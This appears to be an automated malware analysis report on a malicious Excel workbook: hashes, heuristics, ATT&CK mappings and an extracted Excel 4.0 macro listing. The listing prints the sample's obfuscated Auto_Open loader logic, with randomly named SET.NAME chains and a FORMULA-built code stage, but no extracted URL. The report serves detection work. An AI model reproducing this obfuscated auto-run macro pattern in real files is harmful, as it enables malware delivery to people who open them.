Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 75cec37e4e0a24d0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:04 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: d29049f778f4c8ca1b36fa903edc0524 SHA-1: 5be39c05368d0a39f4950a633a4aadbbe795fb19 SHA-256: 75cec37e4e0a24d0f71bcfa47c5329d1af04c857ad9ad87d5eab321aa206c9a1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code. The macro sheet contains a reference to 'Auto_Open' and uses dangerous formula APIs, including 'RUN=0', suggesting it is designed to execute a payload. No specific URLs or further payloads were extracted, but the technique strongly implies a downloader or initial execution stage.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6628 bytes
SHA-256: eb005172b201308b6d6d83f49cc3d796f44528ac46856a478e988ffb36d8842d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eDjogRgTRfH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F134 
' 0018     26 LABEL : Cell Value, String Constant - cyapPwqJJUl len=0 
' 0018     23 LABEL : Cell Value, String Constant - eUXryhxn len=0 
' 0018     25 LABEL : Cell Value, String Constant - FCmFKTMDTM len=0 
' 0018     20 LABEL : Cell Value, String Constant - FgQei len=0 
' 0018     22 LABEL : Cell Value, String Constant - fImrOhc len=0 
' 0018     21 LABEL : Cell Value, String Constant - ftHPTT len=0 
' 0018     23 LABEL : Cell Value, String Constant - GLPjVClE len=0 
' 0018     22 LABEL : Cell Value, String Constant - hJIGNMe len=0 
' 0018     24 LABEL : Cell Value, String Constant - HpGjWrTur len=0 
' 0018     26 LABEL : Cell Value, String Constant - LacoFNAxtQz len=0 
' 0018     22 LABEL : Cell Value, String Constant - LMQoPlN len=0 
' 0018     26 LABEL : Cell Value, String Constant - lwuUenaOgdN len=0 
' 0018     24 LABEL : Cell Value, String Constant - mEHVyoboc len=0 
' 0018     20 LABEL : Cell Value, String Constant - Mrmqv len=0 
' 0018     24 LABEL : Cell Value, String Constant - poBkdOXob len=0 
' 0018     23 LABEL : Cell Value, String Constant - qXWNRThr len=0 
' 0018     24 LABEL : Cell Value, String Constant - uvRCivnHR len=0 
' 0018     24 LABEL : Cell Value, String Constant - vsxvxHYBH len=0 
' 0018     23 LABEL : Cell Value, String Constant - xdOQxDHk len=0 
' 0018     26 LABEL : Cell Value, String Constant - XOPwKiXTFYP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eDjogRgTRfH,F42,"SET.NAME("FgQei",VALUE("0"))",""
'  eDjogRgTRfH,F45,"SET.NAME("LacoFNAxtQz",FgQei)",""
'  eDjogRgTRfH,F50,"SET.NAME("mEHVyoboc",FgQei)",""
'  eDjogRgTRfH,F52,"SET.NAME("GLPjVClE",COUNTA(cyapPwqJJUl))",""
'  eDjogRgTRfH,F56,"SET.NAME("Mrmqv",COUNTA(LMQoPlN))",""
'  eDjogRgTRfH,F61,[],""
'  eDjogRgTRfH,F66,"SET.NAME("poBkdOXob","")",""
'  eDjogRgTRfH,F70,"LacoFNAxtQz",""
'  eDjogRgTRfH,F72,"SET.NAME("xdOQxDHk",HLOOKUP("*",cyapPwqJJUl,LacoFNAxtQz,FALSE))",""
'  eDjogRgTRfH,F75,"lwuUenaOgdN",""
'  eDjogRgTRfH,F80,"SET.NAME("ftHPTT",FgQei)",""
'  eDjogRgTRfH,F85,[],""
'  eDjogRgTRfH,F87,"ftHPTT",""
'  eDjogRgTRfH,F91,"vsxvxHYBH",""
'  eDjogRgTRfH,F96,"HpGjWrTur",""
'  eDjogRgTRfH,F100,"fImrOhc",""
'  eDjogRgTRfH,F105,"SET.NAME("XOPwKiXTFYP",VALUE(HLOOKUP("*",LMQoPlN,fImrOhc,FALSE)))",""
'  eDjogRgTRfH,F107,"hJIGNMe",""
'  eDjogRgTRfH,F109,"poBkdOXob",""
'  eDjogRgTRfH,F113,"mEHVyoboc",""
'  eDjogRgTRfH,F117,NEXT(),""
'  eDjogRgTRfH,F121,"eUXryhxn",""
'  eDjogRgTRfH,F123,"SET.NAME("f",INT(T(FORMULA(T(poBkdOXob)&"",""&T(eUXryhxn)))))",""
'  eDjogRgTRfH,F125,"qXWNRThr",""
'  eDjogRgTRfH,F128,NEXT(),""
'  eDjogRgTRfH,F130,RETURN(),""
'  eDjogRgTRfH,F156,"SET.NAME("uvRCivnHR",F42)",""
'  eDjogRgTRfH,F161,"cyapPwqJJUl",""
'  eDjogRgTRfH,F163,"SET.NAME("LMQoPlN",R52C12)",""
'  eDjogRgTRfH,F167,"SET.NAME("qXWNRThr",176)",""
'  eDjogRgTRfH,F171,"SET.NAME("FCmFKTMDTM",6)",""
'  eDjogRgTRfH,F175,uvRCivnHR(),""
'  eDjogRgTRfH,F176,HALT(),""

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